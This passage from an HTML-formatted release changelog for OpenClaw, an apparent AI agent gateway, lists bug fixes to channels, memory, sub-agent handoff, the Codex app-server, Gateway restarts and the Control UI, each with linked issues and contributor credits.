<li>Twitch: keep stale message-handler cleanup callbacks from removing newer handler registrations for the same account, preserving inbound message delivery after reconnects. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473949550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83888" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83888/hovercard" href="https://github.com/openclaw/openclaw/issues/83888">#83888</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503861323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85425" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85425/hovercard" href="https://github.com/openclaw/openclaw/pull/85425">#85425</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alkor2000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alkor2000">@alkor2000</a>.</li>
<li>Memory/LanceDB: expose public memory artifacts through the active memory provider bridge so memory-wiki imports durable memory files, daily notes, dream reports, and event logs without depending on memory-core internals. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469394538" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83604/hovercard" href="https://github.com/openclaw/openclaw/issues/83604">#83604</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Crabbox: keep AWS hydration compatible with local Actions replay by inlining the hydrate workflow's Node/pnpm setup instead of invoking repo-local composite actions.</li>
<li>Agents/subagents: simplify native sub-agent completion handoff so children report their latest visible assistant result to the requester without using <code>message</code>, while keeping parent-owned message-tool delivery policy intact. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497194072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85070" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85070/hovercard" href="https://github.com/openclaw/openclaw/issues/85070">#85070</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497708252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85089" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85089/hovercard" href="https://github.com/openclaw/openclaw/pull/85089">#85089</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>.</li>
<li>Docker setup: stop printing the Gateway bearer token in setup logs and printed follow-up commands.</li>
<li>Agents: let embedded compaction fallback retries proceed when PI-compatible candidates do not need agent harness plugin preparation.</li>
<li>Agents/tools: honor configured custom provider API keys when deciding whether media, image-generation, video-generation, music-generation, and PDF tools are available. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506426602" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85570" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85570/hovercard" href="https://github.com/openclaw/openclaw/pull/85570">#85570</a>)</li>
<li>StepFun: stop advertising stale generic API key auth choices so onboarding only offers runtime-backed Standard and Step Plan choices.</li>
<li>Diagnostics: keep OpenTelemetry log bodies behind explicit content capture and scrub scoped agent-session keys from OpenTelemetry and Prometheus labels while preserving bounded queue-lane prefixes.</li>
<li>Windows installer: fail Git checkout installs when <code>pnpm install</code> or <code>pnpm build</code> fails instead of writing a wrapper to a missing CLI build.</li>
<li>Sessions: surface previous-transcript archive failures during <code>/new</code> rotation so disk rename errors are logged instead of silently hiding stranded transcript files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4450603065" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81984" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81984/hovercard" href="https://github.com/openclaw/openclaw/issues/81984">#81984</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506566941" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85586" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85586/hovercard" href="https://github.com/openclaw/openclaw/pull/85586">#85586</a>, from <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4452599340" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82081" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82081/hovercard" href="https://github.com/openclaw/openclaw/pull/82081">#82081</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xghost42/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xghost42">@0xghost42</a>.</li>
<li>TUI/agents: mirror internal-ui message-tool replies into final chat output so message-tool-only agents remain visible in <code>openclaw tui</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506023907" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85538" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85538/hovercard" href="https://github.com/openclaw/openclaw/issues/85538">#85538</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danpolasek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danpolasek">@danpolasek</a>.</li>
<li>Agents: keep parallel OpenAI-compatible tool-call deltas in separate argument buffers so interleaved tool calls no longer corrupt streamed arguments. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456042108" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82263" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82263/hovercard" href="https://github.com/openclaw/openclaw/pull/82263">#82263</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luna-system/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luna-system">@luna-system</a>.</li>
<li>Memory/doctor: report missing or unusable QMD workspace directories as workspace failures instead of generic binary failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224755918" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63167" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63167/hovercard" href="https://github.com/openclaw/openclaw/pull/63167">#63167</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sercada/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sercada">@sercada</a>.</li>
<li>Debug proxy: record CONNECT client-socket errors and destroy the paired upstream socket so abrupt client disconnects no longer leak tunnel resources. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4458576707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82444/hovercard" href="https://github.com/openclaw/openclaw/pull/82444">#82444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Diffs: continue hydrating later diff cards when one card fails so a single broken card no longer blanks the whole diff viewer. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491329251" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84775" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84775/hovercard" href="https://github.com/openclaw/openclaw/pull/84775">#84775</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmopolitan033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmopolitan033">@cosmopolitan033</a>.</li>
<li>Mac app: use the native settings sidebar window chrome so the sidebar toggle stays on the left and content no longer clips under oversized titlebar padding.</li>
<li>QA-Lab/Codex: bundle auth/plugin fixture imports for flow scenarios and let terminal async media tools end Codex app-server turns without timing out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416570826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80397" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80397/hovercard" href="https://github.com/openclaw/openclaw/issues/80397">#80397</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Gateway/agents: preserve fresh session overrides and metadata when stale cached agent-session entries race with store updates, so subagent model/provider overrides and routing policy survive concurrent writes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3953968159" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/19328" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/19328/hovercard" href="https://github.com/openclaw/openclaw/pull/19328">#19328</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CodeReclaimers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CodeReclaimers">@CodeReclaimers</a>.</li>
<li>Control UI/chat: keep chat session search inline with the session selector so the header no longer shows a duplicate standalone search row.</li>
<li>Control UI/chat: collapse focused-mode header chrome and suppress hidden-header scroll updates so focus mode no longer jumps while scrolling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Codex app-server: restart the native app-server and retry once when server-side compaction times out, so preflight compaction stalls recover instead of failing every dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505443171" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85500" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85500/hovercard" href="https://github.com/openclaw/openclaw/pull/85500">#85500</a>)</li>
<li>Restore Control UI gateway token pairing [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504391156" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85459" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85459/hovercard" href="https://github.com/openclaw/openclaw/pull/85459">#85459</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>OpenAI video: honor configured provider request private-network opt-in for local/custom video endpoints so explicitly trusted mock and self-hosted providers are not blocked. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>OpenAI video: send uploaded video edit requests to the documented <code>/videos/edits</code> endpoint with a <code>video</code> file instead of posting MP4 references to <code>/videos</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/channels: preserve message-tool delivery evidence through gateway agent completion handoffs so successful generated media sends are not followed by false failure messages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/update: repair managed npm plugin <code>openclaw</code> peer links during post-core convergence and reject stale or wrong-target peer links before restart. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473034358" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83794/hovercard" href="https://github.com/openclaw/openclaw/pull/83794">#83794</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>CLI/agents: default new omitted-account bindings to all accounts when the channel has multiple configured accounts, and clarify account-scope docs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4094569524" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49769" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/49769/hovercard" href="https://github.com/openclaw/openclaw/pull/49769">#49769</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gcaufy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gcaufy">@Gcaufy</a>.</li>
<li>Codex app-server: let authorized <code>/codex</code> control commands such as <code>/codex detach</code> escape plugin-owned conversation bindings while keeping unknown or unauthorized slash text routed to the bound plugin. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499059714" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85157" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85157/hovercard" href="https://github.com/openclaw/openclaw/issues/85157">#85157</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499435509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85188" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85188/hovercard" href="https://github.com/openclaw/openclaw/pull/85188">#85188</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Auto-reply/models: keep <code>/models</code> browse replies fast by sharing the bounded read-only catalog path with Gateway model listing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490684687" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84735/hovercard" href="https://github.com/openclaw/openclaw/pull/84735">#84735</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/safrano9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/safrano9999">@safrano9999</a>.</li>
<li>Codex app-server: disable native Code Mode when the effective exec host is <code>node</code> and keep OpenClaw <code>exec</code>/<code>process</code> available, so <code>/exec host=node</code> routes shell commands through the selected node instead of the gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496082157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85012/hovercard" href="https://github.com/openclaw/openclaw/issues/85012">#85012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497727664" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85090" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85090/hovercard" href="https://github.com/openclaw/openclaw/pull/85090">#85090</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sahilsatralkar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sahilsatralkar">@sahilsatralkar</a>.</li>
<li>Agents: bound embedded auto-compaction session write-lock watchdogs to the compaction timeout instead of the full run timeout, so stuck compaction cannot hold the live session lock for the whole run window. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494569724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84949" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84949/hovercard" href="https://github.com/openclaw/openclaw/pull/84949">#84949</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Gateway/agents: return phase-aware <code>agent.wait</code> timeout attribution and only cool auth profiles on provider-started timeouts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249469795" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65504" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65504/hovercard" href="https://github.com/openclaw/openclaw/issues/65504">#65504</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Gateway: defer provider auth-state prewarm until after startup readiness so early gateway tool/session requests are not blocked by provider auth discovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500834987" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85272" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85272/hovercard" href="https://github.com/openclaw/openclaw/pull/85272">#85272</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dutifulbob/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dutifulbob">@dutifulbob</a>.</li>
<li>Gateway/models: coalesce provider auth-state rewarms after auth-profile failures and log event-loop delay for warm/rewarm work, so provider auth bursts no longer stack full auth sweeps behind channel replies.</li>
<li>Gateway/models: stop cancelled provider auth-state prewarms from continuing full provider sweeps, so reload and auth-failure bursts no longer keep startup busy.</li>
<li>Agents/Codex: show the first plan update as a transient chat status notice without counting it as final assistant content.</li>
<li>CLI/update: walk the macOS process ancestry and honor the inherited Gateway runtime PID before package updates stop the managed Gateway service, so nested in-band updater children can refuse instead of killing the LaunchAgent-supervised Gateway that owns them. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498492729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85120" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85120/hovercard" href="https://github.com/openclaw/openclaw/issues/85120">#85120</a>.</li>
<li>Gateway/LaunchAgent: wait for launchd reload bootout to finish and fall back to kickstart when bootstrap races, so reload handoff does not leave the service deregistered. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488288195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84630/hovercard" href="https://github.com/openclaw/openclaw/issues/84630">#84630</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488410216" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84641" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84641/hovercard" href="https://github.com/openclaw/openclaw/pull/84641">#84641</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Gateway/LaunchAgent: treat a concurrent launchd bootstrap as a successful restart when the service is already loaded, avoiding false macOS Gateway restart failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490404700" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84721" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84721/hovercard" href="https://github.com/openclaw/openclaw/issues/84721">#84721</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490407392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84722/hovercard" href="https://github.com/openclaw/openclaw/pull/84722">#84722</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/googlerest/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/googlerest">@googlerest</a>.</li>
<li>Gateway/service: include the active <code>openclaw</code> command bin directory in managed service PATH generation and doctor audit expectations for npm-global macOS installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478626262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84201" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84201/hovercard" href="https://github.com/openclaw/openclaw/issues/84201">#84201</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483865879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84475" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84475/hovercard" href="https://github.com/openclaw/openclaw/pull/84475">#84475</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jbetala7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jbetala7">@jbetala7</a>.</li>
<li>Control UI/chat: disable the thinking selector for known non-reasoning models instead of showing duplicate Off choices. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476067404" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84069" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84069/hovercard" href="https://github.com/openclaw/openclaw/issues/84069">#84069</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DrippingMellow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DrippingMellow">@DrippingMellow</a>.</li>
<li>Memory: expand <code>~</code> in configured extra memory paths before resolving them, so home-relative folders are not treated as workspace-relative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4174961637" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58026" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58026/hovercard" href="https://github.com/openclaw/openclaw/issues/58026">#58026</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stadman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stadman">@stadman</a>.</li>
<li>Skills: treat <code>openclaw.os: macos</code> as Darwin when checking skill requirements, so macOS-only skills no longer report as missing on macOS hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207464550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61338" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61338/hovercard" href="https://github.com/openclaw/openclaw/issues/61338">#61338</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jessecq1995/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jessecq1995">@Jessecq1995</a>.</li>
<li>Control UI/logs: strip ANSI escape sequences from displayed Gateway log messages so color codes no longer appear as raw text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240403085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64399" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64399/hovercard" href="https://github.com/openclaw/openclaw/issues/64399">#64399</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guguangxin-eng/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guguangxin-eng">@guguangxin-eng</a>.</li>
<li>Docker: pre-create the workspace and auth-profile config mount points with <code>node</code> ownership so first-run named volumes do not start root-owned. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497404130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85076/hovercard" href="https://github.com/openclaw/openclaw/issues/85076">#85076</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Noerr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Noerr">@Noerr</a>.</li>
<li>Telegram: pass configured markdown table mode through outbound markdown chunking so chunked sends render tables consistently. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497655282" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85085" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85085/hovercard" href="https://github.com/openclaw/openclaw/issues/85085">#85085</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ShuaiHui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ShuaiHui">@ShuaiHui</a>.</li>
<li>CLI/update: preserve managed Gateway service environment during package cutovers so macOS LaunchAgent repair/restart reads the pre-update service state instead of caller shell state. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463010272" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83026" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83026/hovercard" href="https://github.com/openclaw/openclaw/pull/83026">#83026</a>)</li>
<li>Agents/providers: honor per-model <code>api</code> and <code>baseUrl</code> overrides in custom provider auth hooks and transport selection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417428084" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80487/hovercard" href="https://github.com/openclaw/openclaw/issues/80487">#80487</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4417429259" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80488" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80488/hovercard" href="https://github.com/openclaw/openclaw/pull/80488">#80488</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huveewomg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huveewomg">@huveewomg</a>.</li>
<li>Gateway/restart: eager-load the lifecycle runtime before in-place upgrade signal handling so package replacement does not deadlock restart imports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4493066623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84890" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84890/hovercard" href="https://github.com/openclaw/openclaw/pull/84890">#84890</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/myps6415/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/myps6415">@myps6415</a>.</li>
<li>CLI/update: start managed Gateway update handoff helpers from a stable existing directory and tolerate deleted cwd/package roots during macOS LaunchAgent handoff. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473282252" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83808" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83808/hovercard" href="https://github.com/openclaw/openclaw/issues/83808">#83808</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473943472" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83875" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83875/hovercard" href="https://github.com/openclaw/openclaw/pull/83875">#83875</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Skills: watch each shared skill directory once across agent workspaces instead of once per agent, preventing file-descriptor exhaustion (<code>EMFILE</code>) that disposed bundle-mcp processes and stalled sessions on multi-agent gateways. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495117353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84968" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84968/hovercard" href="https://github.com/openclaw/openclaw/issues/84968">#84968</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498689181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85130" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85130/hovercard" href="https://github.com/openclaw/openclaw/pull/85130">#85130</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" 